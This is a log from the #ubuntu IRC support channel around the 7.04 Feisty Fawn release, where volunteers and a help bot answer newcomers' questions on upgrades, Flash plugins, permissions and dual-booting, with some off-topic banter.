[10:39] <spolyak> "things?"
[10:39] <Ph0biA> Korgmatose, it says no such directory for Desktop
[10:39] <larryone> zorlin, with apt or with dpkg??
[10:39] <Puppy_> ok alduin.
[10:39] <WaxyFresh> thoreauputic, why yes i am,i figure the less services running means the less procseses running and that should mean more aviable resources
[10:39] <zorlin> larryone, try dpkg.
[10:39] <thoreauputic> WaxyFresh: the only services that have security implications are internet facing ones, unless you are a sysadmin on some evil corporate LAN ;)
[10:40] <zorlin> Ph0biA, desktop is located in /home/yourusername/Desktop
[10:40] <larryone> zorlin, thanks, I'll give it a go
[10:40] <zorlin> Ph0bia, its case sensitive.
[10:40] <zorlin> So /home/zorlin/desktop wouldnt work whereas /home/zorlin/Desktop would :)
[10:40] <thoreauputic> WaxyFresh: what you describe as "services" generally are asleep 99.99% of the time and therefore not using resources
[10:40] <larryone> zorlin,
[10:40] <larryone> dpkg: unknown option --reinstall
[10:40] <zorlin> try using "wget" for non-interactive downloads.
[10:40] <Puppy_> so what is the suggested way to upgrade to 7.04?
[10:40] <Ph0biA> still says no directory sorlin
[10:40] <zorlin> and larry you are welcome.
[10:40] <Ph0biA> zorlin*
[10:41] <zorlin> uhh, I said i'm not sure of the exact commands
[10:41] <jrib> !upgrade > Puppy_    (Puppy_, see the private message from ubotu)
[10:41] <zorlin> sorry, lemme fiddle in my terminal for a bit
[10:41] <larryone> ok
[10:41] <zorlin> i'll find out for you
[10:41] <Puppy_> thanks jrib!
[10:41] <Steven_Laptop> hello all laptop wont boot wonder Y?   http://office.homefrontus.com/laptop
[10:41] <WaxyFresh> thoreauputic, thanks i stop fool'n with things i dont know anything about now
[10:41] <zorlin> Larryone
[10:42] <larryone> yup
[10:42] <zorlin> have you tried sudo dpkg-reconfigure?
[10:42] <larryone> just tried reconfigure
[10:42] <larryone> just now yea
[10:42] <zorlin> alright, just verifying
[10:42] <larryone> /usr/sbin/dpkg-reconfigure: xserver-xorg is broken or not fully installed
[10:42] <LjL> larryone, IMHO if you got kernel panics, it's not really xorg that you should be worrying about
[10:42] <thoreauputic> WaxyFresh: :) A wise decision
[10:42] <larryone> LjL, I think it might be a graphics card problem
[10:43] <WaxyFresh> thoreauputic, wonder if theres anything i can play with in the kernal.....jk
[10:43] <LjL> larryone: a graphics card problem that prevents the xserver-xorg package from installing? hmm
[10:43] <Paul_UK> hey someone know a good irc client, better than xchat, more like mirc for windows?
[10:43] <Ph0biA> Ok, how about this instead, does ANYONE know how to change your file system from read only to read and write?
[10:43] <larryone> LjL, nope - seperate issue
[10:43] <larryone> the 2 are not related
[10:43] <rambo3> Mouse is hardware that powers the computer !
[10:43] <Pooky> if deleted all the sessions from .nautilus
[10:43] <Steven_Laptop> aim
[10:44] <thoreauputic> WaxyFresh: lots of things - if you enjoy breaking your system ;p
[10:44] <Pooky> would nautilus create new ones?
[10:44] <rambo3> Pooky, yes
[10:44] <thekidrio> Only 244 copies of Genuine Windows Vista sold in China
[10:44] <zorlin> larryone
[10:44] <Pooky> gnome is dying cause it can't find some session stuff :/
[10:44] <zorlin> larryone, can you please pm me?
[10:44] <Ph0biA> Zorlin
[10:44] <rambo3> That means half a bilion chinese share 244 windows keys
[10:44] <zorlin> Yes ph0bia?
[10:44] <larryone> zorlin, one minute
[10:45] <WaxyFresh> thoreauputic, i was kidding.but yes i do enjoy breaking my system its how i learn.im sure theres a better way but this is what works for me
[10:45] <thoreauputic> Ph0biA: permissions are generally there for excellent reasons worked out over thirty or more years of *nix history
[10:45] <thekidrio> rambo3, heh yeah just thought #ubuntu would like to hear about the latest blow to M$
[10:45] <Ph0biA> How do I change my filesystem to read and right?
[10:45] <Zorlin> If you *MUST*
[10:45] <ikonia> thekidrio: there is no "blow" to me
[10:45] <Ph0biA> I just need to paste one thing, it'll fix my problem
[10:45] <ikonia> ms
[10:45] <rambo3> Ph0biA, you mount it as read and write
[10:45] <Zorlin> You could use sudo chmod, etc
[10:45] <thoreauputic> Ph0biA: which filesystem?
[10:46] <Zorlin> or use sudo nautilus instead.
[10:46] <Ph0biA> I dont know, Im so confused, I've been using Windows OS since 5, Linux since yesterday
[10:46] <Ph0biA> IT says filesystem
[10:46] <thoreauputic> Ph0biA: why do i have the feeling you are about to do something irreversibly silly ?
[10:46] <Zorlin> Ph0bia
[10:46] <Ph0biA> Im not...
[10:46] <thekidrio> ikonia, umm several billion illegal copies of windows is certainly a blow to M$
[10:46] <Zorlin> type sudo nautilus in terminal,
[10:46] <ikonia> not really
[10:46] <Zorlin> if your X server is working.
[10:47] <Ph0biA> I just want to paste the thing into the mozilla firefox plugin folder.
[10:47] <thekidrio> you are not in the industry i take it ikonia
[10:47] <rambo3> thekidrio, #ubuntu-offtopic
[10:47] <ikonia> thekidrio: of course I am
[10:47] <Ph0biA> It should fix it just the way I want
[10:47] <thoreauputic> Ph0biA: the thing that is labelled "filesystem" is not *supposed* to be writable by an unprivileged user
[10:47] <ikonia> rambo3: good call
[10:47] <Ph0biA> Im the owner of the computer...
[10:47] <thoreauputic> *sigh*
[10:47] <Ph0biA> (Im new at this)
[10:47] <thoreauputic> Ph0biA: this isn't Windows
[10:47] <thoreauputic> !rootsudo | Ph0biA
[10:47] <ubotu> Ph0biA: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[10:48] <DrNick> thekidrio: microsoft is one of the richest and largest companies on eath.  they have so much money that even if 60% of the copies of vista they sold were pirate (which they wont be), they'd *still* do fine, and probably still make profit.
[10:48] <DVS01> i want to update my nvidia drivers using a download from the nvidia site. do i need to first remove my nvidia driver packages?
[10:48] <ikonia> DVS01: why do you want to do that
[10:48] <DVS01> to have more up to date drivers
[10:48] <ikonia> DVS01: why ?
[10:48] <gils> question: if i set specific admin permisions to a file/folder, what happens once i burn them to CD?
[10:48] <DVS01> and perhaps fix this problem i am having, getting a black screen after logging off or switching users which sometimes happens
[10:48] <Ph0biA> how do I do that Thoreaputic?
[10:49] <nazgjunk> hey, i just updated a lot of my system, and now all weblinks from xchat open in konqueror instead of in firefox. I did try update-alternatives, but it didn't change anything - any suggestions on how to fix this?
[10:49] <thoreauputic> Ph0biA: to make changes to system files you need to use sudo or gksudo
[10:49] <DVS01> ikonia: switching to a different user and logging off, sometimes causes me to get stuck at a black screen with just a mouse pointer. i end up having to restart gdm. i'm hoping that maybe newer nvidia drivers fix this
[10:49] <thoreauputic> Ph0biA: you need to read the rootsudo factoid URL i got Ubotu to post
[10:50] <ikonia> DVS01: what card do you have
[10:50] <DVS01> a laptop mxm geforce 7600 512mb
[10:50] <thoreauputic> Ph0biA: I suspect you have downloaded something from some site and now want to install it, right? that isn't how Ubuntu does things
[10:51] <Zambezi> I'm having problem login on a FTP with SSL with lftp. Anyone know howto do? I tried a couple of methods.
[10:51] <thoreauputic> Ph0biA: you know about add/remove programs and synaptic?
[10:51] <thoreauputic> !synaptic | Ph0biA
[10:51] <ubotu> Ph0biA: synaptic is Ubuntu's Graphical Package Manager. For a good howto see https://help.ubuntu.com/community/SynapticHowto
[10:51] <Puppy_> so what is the suggested way to upgrade to 7.04 (I heard that you can upgrade with a single terminal command..... but it is not recommended, so what is?)
[10:51] <thoreauputic> !upgrade
[10:51] <ubotu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[10:51] <Ph0biA> Im confused
[10:51] <ikonia> DVS01: I doubt the drivers will change that
[10:51] <Ph0biA> Whats the command?
[10:52] <Pooky> is there a (preferred) place I can paste a log
[10:52] <DVS01> ikonia: what could be causing this problem?
[10:52] <thoreauputic> Ph0biA: please read the URLs
[10:52] <jrib> Pooky: http://paste.ubuntu-nl.org  (see the /topic)
[10:52] <ikonia> DVS01: the drivers are a good cause as you suggested, have you checked the gdm logs ?
[10:52] <thoreauputic> !docs | Ph0biA
[10:52] <ubotu> Ph0biA: documentation is to be found at http://help.ubuntu.com and http://wiki.ubuntu.com - General linux documentation: http://www.tldp.org - http://rute.2038bug.com
[10:52] <DVS01> no, ill check
[10:53] <Ph0biA> ...
[10:53] <thoreauputic> Ph0biA: your problem is normal :) Windows refugees always have to learn a new way of doing things :)
[10:53] <EmxBA> 1181 nicks ? :D
[10:54] <thoreauputic> Ph0biA: which plugin are you trying to install ?
[10:54] <IGxMyzt> hello
[10:54] <Ph0biA> ...
[10:54] <Pooky> my gnome sessions dies on startup, I tried removing the old session files to see if that would help, but no dice, this is the .xsession-errors file that is generated: http://paste.ubuntu-nl.org/16307/
[10:54] <Ph0biA> All I want to do is copy 2 files into my firefox plugin directory
[10:54] <kane77> what does grub error 17 mean???
[10:54] <Ph0biA> I read somewhere that someone did that and it worked fine.
[10:55] <Ph0biA> I just want to do that.... which command gives me root sudo?
[10:55] <thoreauputic> Ph0biA: try copyimg them into ~/.mozilla/plugins
[10:55] <Ph0biA> I did
[10:55] <EmxBA> kane77: http://ubuntuforums.org/archive/index.php/t-1669.html
[10:55] <Ph0biA> It says I dont have the permissions
[10:55] <thoreauputic> Ph0biA: notice the dot
[10:55] <thoreauputic> no you didn't
[10:55] <Ph0biA> What are you talking about
[10:55] <Ph0biA> How do I do that then?
[10:55] <Puppy_> thoreauputic: thank you!
[10:55] <thoreauputic> Ph0biA: that file is in your home dir
[10:55] <kane77> EmxBA, yes, but it's not resolved...
[10:55] <IGxMyzt> does anyone here run ubuntu AND windows?
[10:56] <Zorlin> IG, I do
[10:56] <Zorlin> I have to use windows for SCAR.
[10:56] <Ph0biA> No its not
[10:56] <Zorlin> Which is a pity but oh well
[10:56] <Ph0biA> Im in my home dir
[10:56] <Ph0biA> its not there.
[10:56] <IGxMyzt> Do you know if i kept them on seperate drives, and switched them out between masters. would it cause problems?
[10:56] <Zorlin> Phobia?
[10:56] <thoreauputic> Ph0biA: hit ctrl-H to see hidden files
[10:56] <Ph0biA> Yeah
[10:56] <IGxMyzt> I don't want to do a master/slave.
[10:56] <thoreauputic> Ph0biA: and I think I know what I'm talking about :)
[10:56] <Pooky> I'd be fine with removing old settings and recreating them, if I knew which files were giving the problem
[10:56] <Zorlin> Ig, I'm not sure
[10:57] <Zorlin> Windows doesnt like being on a 2nd drive, but I've heard its possible
[10:57] <giod> whats the shell comand to unmount a drive
[10:57] <alduin> giod: umount
[10:57] <Zorlin> umount
[10:57] <IGxMyzt> My main has windows and it's on master. When i wanted redhat before, i switched drives out and it worked fine when i switched them.
[10:57] <IGxMyzt> But when i tried with redhat, i had to format my windows drive.
[10:58] <IGxMyzt> ubuntu*
[10:58] <rambo3> Pooky, did you clear sessionfiles ?
[10:58] <Horscht> oooh, this is confusing
[10:58] <Zorlin> You mean you swap them to change between them?
[10:58] <IGxMyzt> Yeah, i unplug the IDE and power and put it on the other one
[10:58] <Ph0biA> Thoreaputic... it didnt work
[10:58] <Zorlin> Ahhh, okay.
[10:58] <Zorlin> How big is your drive?
[10:58] <Pooky> rambo3, I removed all the saved* files from .nautilus
[10:58] <Horscht> I can't find my harddisk, or usb drive. Should have stayed with windows :/
[10:58] <IGxMyzt> 120 GB seagate on windows
[10:58] <IGxMyzt> 80 gb maxtor on linux
[10:58] <Zorlin> Okay, now by 'format your windows drive'
[10:59] <Zorlin> do you mean to restore the ability to boot to windows?
[10:59] <spolyak> goddamit i love beryl (and compiz)!
[10:59] <thekidrio> hehe
[10:59] <IGxMyzt> i stuck in the seagate and win xp discs
[10:59] <thekidrio> spolyak, yeah its cool stuff
[10:59] <IGxMyzt> and erased everything, formatted, repartitioned, etc
[10:59] <tommytom> !sudo
[10:59] <ubotu> sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[10:59] <IGxMyzt> windows was crashing on load
[10:59] <Drk_Guy> Feisty is going to be released tomorrow
[10:59] <IGxMyzt> not sure if it was the install or ubuntu, or something else
[10:59] <Horscht> no, revert back to windws. Linux not showing me my storage devices is somewhat illegical :/
[10:59] <ikonia> Drk_Guy: we know
[10:59] <spolyak> eye candy? well yes, but it makes me so friggin happy!
[10:59] <ikonia> Drk_Guy: its on the website
[10:59] <Zorlin> Alright, IG, got pm?
[10:59] <ikonia> and in the topic
[10:59] <IGxMyzt> Zor: pm?
[11:00] <thekidrio> spolyak, it has some uses, just not sure what yet heh
[11:00] <nazgjunk> hey, i just updated a lot of my system, and now all weblinks from xchat open in konqueror instead of in firefox. I did try update-alternatives, but it didn't change anything - any suggestions on how to fix this?
[11:00] <Drk_Guy> I'm going to dl the beta today
[11:00] <Pooky> rambo3, are there other session files?
[11:00] <Zorlin> Private messages
[11:00] <IGxMyzt> ah okay
[11:00] <Zorlin>  /msg
[11:00] <rambo3> Pooky, yeah but something is calling you old session files as in your session manager . this is weard error : (/usr/lib/tomboy/Tomboy.exe:12669): Gtk-WARNING **: cannot open display:
[11:00] <Drk_Guy> As it is going to be officially released tomorrow
[11:00] <ikonia> Drk_Guy: why download hte beta ?
[11:00] <spolyak> thekidrio, you said it man :-)
[11:00] <Ph0biA> I feel like cutting myself now.
[11:00] <ikonia> Drk_Guy: just wait for the official cd
[11:00] <Drk_Guy> The 7.03 beta known as Feisty Fawn
[11:00] <Pooky> rambo3, well, after the stty error, it seems like all my panel stuff bombs
[11:00] <Drk_Guy> I can't wait a day more
[11:00] <Zorlin> Ph0bia?
[11:00] <ikonia> Drk_Guy: I suggest you do
[11:01] <Ph0biA> Yeah zorlin?
[11:01] <Zorlin> Drk_Guy, Dont commit suicide because fiesty fawn isnt here yet
[11:01] <Zorlin> its not the answer!
[11:01] <TimmyJ> hey all, I just enabled desktop effects in feisty...is there a graphical tool I can get to configure compiz now? I'd rather not use gconf-editor
[11:01] <Zorlin> Ph0bia, what do you mean by that
[11:01] <spolyak> vista is committing suicide
[11:01] <Drk_Guy> C'mon, a last minute change is not possible for an entire OS
[11:01] <mwe> Drk_Guy: it probably wont change much from the current beta with the current updates
[11:01] <ikonia> Drk_Guy: no - but the packaging will be updated to "stable"
[11:01] <rambo3> Pooky,you could do sonething like as user not root : find /home/$(whoami)/ -iname session
[11:01] <Drk_Guy> Vista Sucks, but it's GUI rocks
[11:02] <Zorlin> You feel like cutting yourself now? Huh?
[11:02] <Pooky> rambo3, I'll try that, thanks
[11:02] <Drk_Guy> Ok, i'll wait till tomorrow
[11:02] <Ph0biA> I just want to watch videos on youtube! Thats all, in windows it was a simple click and go, on this is like you gotta do this and that and this and that and this, just to find out that its still not workin
[11:02] <spolyak> Drk_Guy, try beryl for a week man
[11:02] <crdlb> TimmyJ, there is gnome-compiz-manager (it's not much but it's better than nothing)
[11:02] <Zorlin> Alright phobia
[11:02] <Drk_Guy> beryl?
[11:02] <Zorlin> Get on /msg please
[11:02] <DrNick> Drk_Guy: yes, they didn't do too bad a job at completely ripping off linux and Mac OS did they.
[11:02] <spolyak> beryl is awindow manager
[11:02] <andres> #ubuntu-es
[11:02] <thoreauputic> !repos | Ph0biA
[11:02] <ubotu> Ph0biA: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[11:03] <Drk_Guy> But, i just don't get it
[11:03] <Zorlin> Yeah DrNick, not to mention the embedded DRM and a number of evil things.
[11:03] <rambo3> Pooky, wront syntax there :  locate session |grep $(whoami)
[11:03] <tuxedo_kamen> hi everyone
[11:03] <Tim>  irc
[11:03] <thoreauputic> Ph0biA: you are expecting Linux to be windows - it won't happen
[11:03] <DrNick> indeed.
[11:03] <IGxMyzt> !beryl | Drk_Guy
[11:03] <ubotu> Drk_Guy: Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[11:03] <Tim> server irc
[11:03] <mwe> DrNick: except they use at least three times more ram ;)
[11:03] <Drk_Guy> Ok, now
[11:03] <Zorlin> Ph0bia, Listen
[11:03] <tom1> does anyone have hp1012
[11:03] <DrNick> mwe: yes i know!
[11:03] <Zorlin> If all you want is Flash working, etc
[11:03] <DrNick> its stupid
[11:03] <Zorlin> I suggest you try EasyUbuntu or Automatix
[11:03] <LjL> !automatix
[11:03] <ubotu> automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[11:03] <Zorlin> Its not the official way but its quick n dirty
[11:04] <tuxedo_kamen> Guys, I have an older version of Ubuntu and wanted to upgrade to the latest (stable) one. what should I do?
[11:04] <Drk_Guy> Vista doesn't bring Flash pre-installed
[11:04] <IGxMyzt> Zorlin: I'm waiting in pm
[11:04] <ikonia> I would never suggest easyubuntu or automatix ever !
[11:04] <LjL> *very* dirty, and as for quick...
[11:04] <thoreauputic> Zorlin: dirty is right
[11:04] <munki> !worksforme
[11:04] <ubotu> Common Sense: Just because you can, does not mean you should. Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability.
[11:04] <ikonia> tuxedo_kamen: how old
[11:04] <mwe> DrNick: how else could they implement all the backdoors ? :)
[11:04] <Ph0biA> Im not, but I wasnt expectingto take more than 3 hours and still finding nothing when in windows it would have taken 10 minutes max.
[11:04] <drewzf> If linux nerds weren't such jerks to windoze noobs we may have a larger community
[11:04] <Zorlin> Ph0bia, try the ubuntu wiki
[11:04] <Zorlin> Let me get you a link
[11:04] <Zorlin> !flash
[11:05] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[11:05] <thoreauputic> Ph0biA: you are learning a new OS - it takes time and effort
[11:05] <ubotu> Flash 9 (Final release) is now available for dapper-backports and edgy-backports. See !backports and !flash
[11:05] <ikonia> drewzf: do you have a question you'd like ot ask ?
[11:05] <rambo3> with arg[7]  that triggers ftp server on port 1337 ?
[11:05] <LjL> !noob | drewzf
[11:05] <ubotu> drewzf: Words like noob, jfgi, stfu or rtfm are not welcome in this channel. Period.
[11:05] <tuxedo_kamen> ikonia, how can I check my version? (I'm a newbie)
[11:05] <ikonia> tuxedo_kamen: lsb_release -i (I think)
[11:05] <Zorlin> Phobia, Try this
[11:05] <LjL> Ph0biA, the problem here is that you can't get Flash installed?
[11:05] <Zorlin> https://help.ubuntu.com/community/RestrictedFormats
[11:05] <thoreauputic> Ph0biA: the worst new Ubuntu users are the ones who were most familiar with windows
[11:05] <spolyak> port 1337 is so leet
[11:05] <Drk_Guy> I will try Halo, NFS: MW and Quake 4 with the Wine porter when i install Ubuntu
[11:05] <Pooky> rambo3, heh, lots of matches on that :P
[11:06] <mwe> lsb_release -a will show the whole thing
[11:06] <IGxMyzt> Zorlin: I'm in PM
[11:06] <Ph0biA> Yeah
[11:06] <Zorlin> https://help.ubuntu.com/community/RestrictedFormats/Flash
[11:06] <ikonia> mwe: -a , thank you
[11:06] <tuxedo_kamen> 5.10 breezy
[11:06] <LjL> Ph0biA: what have you tried in order to install it?
[11:06] <sharperguy> Ph0biA, are yo uusing the 64 bit edition of ubuntu?
[11:06] <ikonia> tuxedo_kamen: I suggest you backup your data, and do a clean install
[11:06] <d4rky> does anyone know at what time will 7.04 be released?
[11:06] <ikonia> tommorow
[11:06] <LjL> d4rky: read the topic
[11:06] <ikonia> as it says on the website and the topic
[11:06] <rsk> Drk_Guy why try quake4 with wine? it has a native linux client...
[11:06] <Ph0biA> HOLD THE PHONE!
[11:06] <larryone> d4rky, about 9 hours
[11:06] <sharperguy> Ph0biA, because if not it should be easily found in Applications > add/remove
[11:06] <Ph0biA> Thoreputic
[11:06] <Drk_Guy> Ohh!!!
[11:06] <Ph0biA> I was right
[11:06] <Drk_Guy> I didn't know that
[11:07] <d4rky> LjL, thanks
[11:07] <Ph0biA> I redownloaded firefox to desktop
[11:07] <d4rky> larryone, ok, thank you too
[11:07] <Ph0biA> I did what I wanted to do in filesystem
[11:07] <Drk_Guy> But they cannot sell the Linux version, as it won't be considered as open-source
[11:07] <LjL> you re...
[11:07] <thoreauputic> Ph0biA: what on earth for?
[11:07] <Ph0biA> It worked just like I said it would.
[11:07] <Zambezi> I'm having problem with lftp. I can't connect to SSL. Can anyone assist me?
[11:07] <tuxedo_kamen> ikonia, I can do it easily, but my point is... I have all my favourite programs personalized and all that, if I do a clean install I'll lose it all...
[11:07] <Puppy_> I'm thinking of upgrading to Feisty tomorrow; I heard that there were problems with it and SATA  hard drives a while back. Is that all taken care of?
[11:07] <ikonia> tuxedo_kamen: backup your config
[11:07] <Ph0biA> Sorry.... My frustrations have ended.
[11:07] <thoreauputic> Ph0biA: you are doing things the windows way, and learning nothing, and not listening
[11:08] <Ph0biA> I am listening
[11:08] <tuxedo_kamen> how can I do that? o_O
[11:08] <Pooky> rambo3, turns out it was my gnome2/session file that was the culprit
[11:08] <kneeki> Puppy_: I used Feisty on my SATA computer with no issues.
[11:08] <thoreauputic> !info flashplugin-nonfree
[11:08] <ikonia> tuxedo_kamen: backup the config files
[11:08] <ubotu> flashplugin-nonfree: Macromedia Flash Player plugin installer. In component multiverse, is optional. Version 7.0.68~ubuntu3 (edgy), package size 15 kB, installed size 164 kB (Only available for i386)
[11:08] <Pooky> everything works now
[11:08] <Ph0biA> But getting no where. I worked on this for 4 hours last night, and 2 hours today
[11:08] <tag> Is there a way to move the first partition of a disk
[11:08] <Pooky> now to try and get beryl working again :D
[11:08] <tag> err
[11:08] <tuxedo_kamen> >_____<
[11:08] <tag> the first sector of a partition
[11:08] <Puppy_> Kneeki, thanks!
[11:08] <tag> probably not eh
[11:08] <spolyak> beryl rocks ;-)
[11:08] <pengulord> wow
[11:08] <tuxedo_kamen> I'm a newbie, there's no way I know how to do that!
[11:08] <pengulord> i hate ubuntu
[11:08] <pengulord> it sucks
[11:08] <spolyak> ubuntu rocks ;-)
[11:09] <kane77> Puppy_, a while ago the issues with sata were fixed
[11:09] <ikonia> tuxedo_kamen: you can't be new you've been using ubuntu 5.10 - thats old now
[11:09] <LjL> pengulord: do you have a support question, or do you just want to whine?
[11:09] <pengulord> noobish
[11:09] <ikonia> tuxedo_kamen: just copy your config files to a safe location
[11:09] <sharperguy> spolyak, no playing with the trolls :P
[11:09] <spolyak> heh
[11:09] <tuxedo_kamen> >___< ikonia, I use it like... once a month >_<
[11:09] <thoreauputic> LjL: the usual pre-release madness is upon us again
[11:09] <Puppy_> kane77: thanks
[11:09] <Pooky> so I heard in feisty, that compiz and beryl are available as packages?
[11:09] <kane77> Puppy_, np
[11:09] <stoft> tuxedo_kamen: your config files you usually find under /home/<username>/.filerc
[11:09] <LjL> !feisty > Pooky    (Pooky, see the private message from Ubotu)
[11:09] <tuxedo_kamen> anyway.... is it true that Ubuntu 7.04 is being released soon?
[11:09] <ikonia> tuxedo_kamen: tommorow
[11:09] <kane77> Pooky, compiz is pre installed
[11:09] <ikonia> tuxedo_kamen: as the website and the topic informs you
[11:09] <tuxedo_kamen> tomorrow, as in... how many hours? :|
[11:09] <kane77> tuxedo_kamen, tomorow
[11:10] <stoft> tuxedo_kamen: or /home/<username>/.<directory>
[11:10] <PriceChild> tuxedo_kamen, when its ready
[11:10] <rcp_> Excuse me, but does anyone know if the 7.04 being released tomorrow is the same as the beta 7.04 I've been using for 10 days?
[11:10] <spolyak> compiz desktop effects can be turned on from menu
[11:10] <stoft> the '.' will hide files/directories from konqueror per default
[11:10] <kane77> tuxedo_kamen, you can upgrade now :)
[11:10] <Kaur> rcp_: It'll upgrade itself
[11:10] <thoreauputic> rcp_: assuming you have been updating, yes
[11:10] <tuxedo_kamen> o_O how can I upgrade from 5.10? o_O
[11:10] <ikonia> tuxedo_kamen: I'd advise a clean install
[11:10] <ikonia> tuxedo_kamen: its a big jump
[11:11] <kane77> spolyak, however, where can you tune the keboard shortcuts for compiz thouhg?
[11:11] <spolyak> you can't get there from here.
[11:11] <DrNick> tuxedo_kamen: I wouldn't recommend it from 5.10 :/
[11:11] <LjL> !upgrade > tuxedo_kamen    (tuxedo_kamen, see the private message from Ubotu)
[11:11] <spolyak> gconf-editor
[11:11] <spolyak> kae77, see gconf-editor
[11:11] <spolyak> errr
[11:11] <eheil> Hey everyone.  Anyone successfully installed Ubuntu Feisty on Sun Ultra2 workstations?  b/c we're having a bit of a problem here.  It doesn't find the hme0 interface.
[11:11] <eheil> s
[11:11] <tuxedo_kamen> and can I already downlod 7.10, or just tomorrow?
[11:11] <IGxMyzt> Can anyone help me with this? : http://ubuntuforums.org/showthread.php?t=412335
[11:11] <Zorlin> UltraSPARC?
[11:12] <PriceChild> tuxedo_kamen, feisty in #ubuntu+1
[11:12] <ikonia> tuxedo_kamen: just wait until tommorow
[11:12] <rcp_> ubuntu is great, I've gotten 3 MS users to switch.  10-4
[11:12] <liz_> i think the hme0 is the happy mean interface correct?
[11:12] <Zorlin> Good IGxMyzt, you found the forums :p
[11:12] <tuxedo_kamen> ok
[11:12] <DrNick> i thought the sparc install was server-only??
[11:12] <ikonia> liz_: all network interfaces should be eth$X
[11:12] <IGxMyzt> Zor: Yeah, only one reply
[11:12] <Ph0biA> Ok Zorlin
[11:12] <ikonia> liz_: unless your using a sparc
[11:12] <Ph0biA> Now I have a different problem
[11:13] <mwe> /set irc_conf_mode 1 rocks in a busy channel like this one :)
[11:13] <Zorlin> IG, yeah.
[11:14] <Zorlin> Why cant you do master-slave setup though
[11:14] <felixhummel> Can I use update-rc.d with python scripts too?
[11:14] <Zorlin> Put windoze as the master and ubuntu as slave?
[11:14] <r4v5> So how do I know if a console dist-upgrade is working?
[11:14] <IGxMyzt> Don't know how, and only one IDE cable thing.
[11:14] <Zorlin> Then just dualboot between them.
[11:14] <Zorlin> Oh? doesnt the ide cable have 3 connectors?
[11:14] <IGxMyzt> Nope.
[11:14] <Zorlin> One for the motherboard, one for the master and slave?
[11:14] <mwe> felixhummel: it has a system call interface
[11:14] <ikonia> Zorlin: yes, but one goes into the motherboard
[11:14] <Zorlin> Ikonia, thanks, but thats what i meant
[11:15] <Zorlin> Three *including* the motherboard one.
[11:15] <IGxMyzt> zorlin: one from something to motherboard, then a different from motherboard to master.
[11:15] <mwe> felixhummel: that means yes ;)
[11:15] <Zorlin> Okay.
[11:15] <eheil> Hey all.  has anyone successfully installed ubunty current on Sparc64? Specifically an Sun U2?
[11:15] <Nergar> is there any official realease countdown???? :)
[11:15] <Zorlin> Alrighty, Ig, i'd suggest you buy another IDE cable.
[11:15] <spolyak> 5
[11:15] <spolyak> 4
[11:15] <Zorlin> Nergar, it releases at 6PM GMT
[11:15] <spolyak> 3
[11:15] <Absum> when will the 7.04 iso files be availible for download?
[11:15] <spolyak> 2
[11:16] <thekidrio> i had the current ubuntu 6.10 on my ultra 5 heh
[11:16] <spolyak> ...
[11:16] <mwe> eheil: I don't think ubuntu supports sparc
[11:16] <Zorlin> Absum, 6pm GMT.
[11:16] <LjL> spolyak: erm... that's spam
[11:16] <IGxMyzt> Zorlin: I have a 3 slot ide on my dresser, but i'm not too fond of having to learn how to make a master/slave and i'm worried it will slow my pc down.
[11:16] <spolyak> sorry
[11:16] <LjL> Absum: read the channel topic
[11:16] <Absum> Zorlin: awww, but thanks
[11:16] <mwe> I thought ubuntu only support pc and ppc
[11:16] <Zorlin> Ab, thats only 8 hours away
[11:16] <thoreauputic> Ph0biA: I *strongly* suggest you go to  http://help.ubuntu.com  and read the help there if you want to learn and stop doing things the wrong way :)
[11:16] <mjr> mwe, you're mistaken
[11:16] <Zorlin> Ig, i can run you through it easily
[11:16] <martinnnnnnn> I don't get it, documentatino speaks of a symbolic link *to* foo, in ln -s bar foo, shouldn't it be "a symbolic to *bar*?
[11:16] <eheil> Hmm.  I oculd sware that Feisty supprot it.  b/c in the daily builds on cdimage.ubuntu.com, their are actually Sparc images.
[11:17] <mwe> mjr: I see
[11:17] <IGxMyzt> Zorlin: How, if my pc is off?
[11:17] <Zorlin> I'm talking about through here.
[11:17] <eheil> s
[11:17] <felixhummel> mwe, thanks! so update-rc.d script.py defaults should do the job?!
[11:17] <r4v5> martinnnnnnn: you symlink a name foo to an actual file bar
[11:17] <Zorlin> I'll just give you instructions, write them down
[11:17] <Zorlin> Ig, join #IGZOR-TEMP
[11:17] <Mushr0_0m> Hello all . I'm french
[11:17] <IGxMyzt> Zor: Would i have to format/reinstall windows? I'm tired of losing stuff
[11:17] <r4v5> you're probably right, yes.
[11:17] <thekidrio> mwe yeah sparc has support
[11:17] <martinnnnnnn> r4v5: exactly, but the doc uses the opposite terminilogy
[11:18] <Nergar> WOW 12 am here :DDDD
[11:18] <felixhummel> mwe, or what do I have to specify if I want to run it as a certain user? (don't know what the defaults are)
[11:18] <Zorlin> ig, join #IGZOR-TEMP and we can discuss there easier
[11:18] <felixhummel> brb
[11:18] <Zorlin> instead of spamming main channel
[11:18] <Nergar> cant wait any longer
[11:18] <martinnnnnnn> Save the file, and then create a symbolic link to the /etc/issue.net file using the following command: sudo ln -s /etc/issue /etc/issue.net
[11:18] <szymon_g> hi
[11:18] <kneeki> Is there like, a 3 button combo I can push to 'lock' my Ubuntu system?
[11:18] <martinnnnnnn> @ r4v5
[11:18] <szymon_g> could anyone look on my post?
[11:18] <szymon_g> http://ubuntuforums.org/showthread.php?t=411887
[11:18] <crdlb> kneeki, ctrl+alt+l iirc
[11:19] <szymon_g> problem with kernel
[11:19] <kneeki> Thanks!
[11:19] <thekidrio> kneeki, you can bind mouse keys to that as well
[11:19] <kneeki> thekidrio: oH?
[11:19] <thekidrio> its been a while since i had a desktop in front of me though, trying to remember where/how
[11:19] <stoft> crdlb: nice! good q kneeki :)
[11:19] <mwe> felixhummel: not quite. You need os.system('/usr/bin/update-rc.d') or something like that
